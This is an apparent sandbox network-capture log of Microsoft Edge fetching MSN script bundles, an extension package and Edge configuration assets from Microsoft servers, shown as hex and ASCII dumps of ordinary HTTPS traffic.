2024-11-23 20:59:41 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49866	23.209.72.33	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:41 UTC	628	OUT	GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1 Host: assets2.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:42 UTC	1235	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 2o3TH2IeNXyf9OP87xu6FA== Last-Modified: Fri, 15 Nov 2024 22:31:11 GMT ETag: 0x8DD05C53565F83D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 64e866d1-101e-0037-3246-3988b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 23 Nov 2024 20:59:41 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.136,b=98730543,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=12, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.136 Akamai-Request-ID: 5e2822f Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.8804d217.1732395581.5e2822f Vary: Origin
2024-11-23 20:59:42 UTC	15149	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 37 65 32 37 63 63 61 36 30 32 37 62 38 64 36 36 39 37 63 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 Data Ascii: 00006000/! For license information please see vendors.7e27cca6027b8d6697cb.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},1301
2024-11-23 20:59:42 UTC	9439	IN	Data Raw: 74 2c 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5c 5c 64 7b 34 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 65 28 28 72 5b 31 Data Ascii: t,e){var n=new RegExp("^(?:(\\d{4}\|[+-]\\d{"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slice((r[1
2024-11-23 20:59:42 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 75 78 2f 22 29 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 5b 6e 5d 3d 74 5b 6e 5d 7d 29 29 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 28 72 29 29 7b 76 61 72 20 69 3d 74 28 72 29 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 69 7d 72 65 74 75 72 6e 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 6e 7d 2c 66 3d 22 52 4f 4f 54 22 2c 6c 3d 22 4e 41 4d 45 53 50 41 43 45 5f 52 4f 4f 54 22 2c 76 3d 22 43 48 49 4c 44 22 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 Data Ascii: 00006000ux/")},a=function(t,e){return Object.keys(t).forEach((function(n){return e[n]=t[n]}))},s=function(t,e){var n=function n(r){if(e(r)){var i=t(r);return a(t,n),i}return{}};return a(t,n),n},f="ROOT",l="NAMESPACE_ROOT",v="CHILD",d=function(t){return
2024-11-23 20:59:42 UTC	8204	IN	Data Raw: 65 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 38 7c 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 32 7c 28 6e 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 3c 3c 36 7c 28 72 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 2c 69 2b 3d 36 34 3d 3d 3d 6e 3f 64 28 65 3e 3e 31 36 26 32 35 35 29 3a 36 34 3d 3d 3d 72 3f 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 29 3a 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 2c 32 35 35 26 65 29 3b 72 65 74 75 72 6e 20 69 7d 2c 4e 3d 6f 3f 74 3d 3e 61 74 6f 62 28 67 28 74 29 29 3a 63 3f 74 3d 3e 42 75 66 66 65 72 2e 66 72 6f 6d 28 74 2c 22 62 61 73 65 36 34 22 29 2e 74 6f 53 74 72 69 6e 67 28 22 62 69 6e 61 72 79 22 29 3a 4c 2c 44 3d 63 3f 74 3d 3e 70 Data Ascii: e=l[t.charAt(o++)]<<18\|l[t.charAt(o++)]<<12\|(n=l[t.charAt(o++)])<<6\|(r=l[t.charAt(o++)]),i+=64===n?d(e>>16&255):64===r?d(e>>16&255,e>>8&255):d(e>>16&255,e>>8&255,255&e);return i},N=o?t=>atob(g(t)):c?t=>Buffer.from(t,"base64").toString("binary"):L,D=c?t=>p
2024-11-23 20:59:42 UTC	2479	IN	Data Raw: 30 30 30 30 30 39 41 33 0d 0a 72 63 65 2c 45 2e 65 78 65 63 28 74 29 29 3b 72 65 74 75 72 6e 20 65 2e 6c 61 73 74 49 6e 64 65 78 3d 74 2e 6c 61 73 74 49 6e 64 65 78 2c 65 7d 2c 78 3d 6e 28 35 36 31 33 37 29 2c 5f 3d 78 2e 5a 3f 78 2e 5a 2e 70 72 6f 74 6f 74 79 70 65 3a 76 6f 69 64 20 30 2c 53 3d 5f 3f 5f 2e 76 61 6c 75 65 4f 66 3a 76 6f 69 64 20 30 3b 76 61 72 20 54 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 3f 4f 62 6a 65 63 74 28 53 2e 63 61 6c 6c 28 74 29 29 3a 7b 7d 7d 2c 4c 3d 6e 28 39 37 35 35 38 29 3b 76 61 72 20 4e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d Data Ascii: 000009A3rce,E.exec(t));return e.lastIndex=t.lastIndex,e},x=n(56137),_=x.Z?x.Z.prototype:void 0,S=_?_.valueOf:void 0;var T=function(t){return S?Object(S.call(t)):{}},L=n(97558);var N=function(t,e,n){var r=t.constructor;switch(e){case"[object ArrayBuffer]
2024-11-23 20:59:42 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 6e 28 37 31 31 35 35 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 73 29 7b 76 61 72 20 66 3d 2d 31 2c 6c 3d 69 2e 5a 2c 76 3d 21 30 2c 64 3d 74 2e 6c 65 6e 67 74 68 2c 70 3d 5b 5d 2c 68 3d 65 2e 6c 65 6e 67 74 68 3b 69 66 28 21 64 29 72 65 74 75 72 6e 20 70 3b 6e 26 26 28 65 3d 28 30 2c 75 2e 5a 29 28 65 2c 28 30 2c 63 2e 5a 29 28 6e 29 29 29 2c 73 3f 28 6c 3d 6f 2e 5a 2c 76 3d 21 31 29 3a 65 2e 6c 65 6e 67 74 68 3e 3d 32 30 30 26 26 28 6c 3d 61 2e 5a 2c 76 3d 21 31 2c 65 3d 6e 65 77 20 72 2e 5a 28 65 29 29 3b 74 3a 66 6f 72 28 3b 2b 2b 66 3c 64 3b 29 7b 76 61 72 20 67 3d 74 5b 66 5d 2c 5a 3d 6e 75 6c 6c 3d 3d 6e 3f 67 3a 6e 28 67 29 3b 69 66 28 67 3d 73 7c 7c 30 21 3d 3d 67 3f 67 3a 30 2c 76 26 26 5a 3d Data Ascii: 00004000=n(71155);e.Z=function(t,e,n,s){var f=-1,l=i.Z,v=!0,d=t.length,p=[],h=e.length;if(!d)return p;n&&(e=(0,u.Z)(e,(0,c.Z)(n))),s?(l=o.Z,v=!1):e.length>=200&&(l=a.Z,v=!1,e=new r.Z(e));t:for(;++f<d;){var g=t[f],Z=null==n?g:n(g);if(g=s\|\|0!==g?g:0,v&&Z=
2024-11-23 20:59:42 UTC	12	IN	Data Raw: 6e 3a 64 65 6c 65 74 65 20 74 0d 0a Data Ascii: n:delete t
2024-11-23 20:59:42 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 5b 63 5d 29 2c 69 7d 7d 2c 38 37 33 33 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 38 30 33 32 33 29 2c 69 3d 6e 28 33 36 31 32 29 2c 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 75 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 2c 63 3d 75 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 5b 5d 3a 28 74 3d 4f 62 6a 65 63 74 28 74 29 2c 28 30 2c 72 2e 5a 29 28 75 28 74 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 2e 63 61 6c 6c 28 74 2c 65 29 7d 29 29 29 7d 3a 69 2e 5a 3b 65 2e 5a 3d Data Ascii: 00004000[c]),i}},87339:function(t,e,n){"use strict";var r=n(80323),i=n(3612),o=Object.prototype.propertyIsEnumerable,u=Object.getOwnPropertySymbols,c=u?function(t){return null==t?[]:(t=Object(t),(0,r.Z)(u(t),(function(e){return o.call(t,e)})))}:i.Z;e.Z=
2024-11-23 20:59:42 UTC	12	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 74 0d 0a Data Ascii: ==typeof t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49867	23.59.251.201	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:41 UTC	614	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733000376&P2=404&P3=2&P4=foL4p%2feinbk0Pjk0spU1G0Cja02NyCRw7o3kQtCOQyzToJ7YFtZM1SdC1hOdvEgrpMdYkkbVbgrtpSyncqU85Q%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: qsCjhyIF2x6fU0u0/0UpH4 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:41 UTC	1250	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: ed28c9bc-ef86-4e47-bd17-4d9ac0aafb04 MS-RequestId: b73ae10a-61ef-44b5-8023-89dce3fab908 MS-CV: GJizXTsAP6nvaKuzCrUe+4.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86361 Date: Sat, 23 Nov 2024 20:59:41 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.59.251.198,b=212608404,c=g,n=US_NJ_NEWARK,o=20940],[c=c,n=US_NJ_PISCATAWAY,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.c6fb3b17.1732395581.cac2594 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-23 20:59:41 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49864	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:41 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:42 UTC	583	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:42 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: c5064c42-c01e-0035-71d6-3dc652000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T205942Z-178bfbc474bfw4gbhC1NYCunf40000000530000000001rdg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:59:42 UTC	15801	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-23 20:59:42 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-23 20:59:42 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-23 20:59:42 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-23 20:59:42 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49865	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:41 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
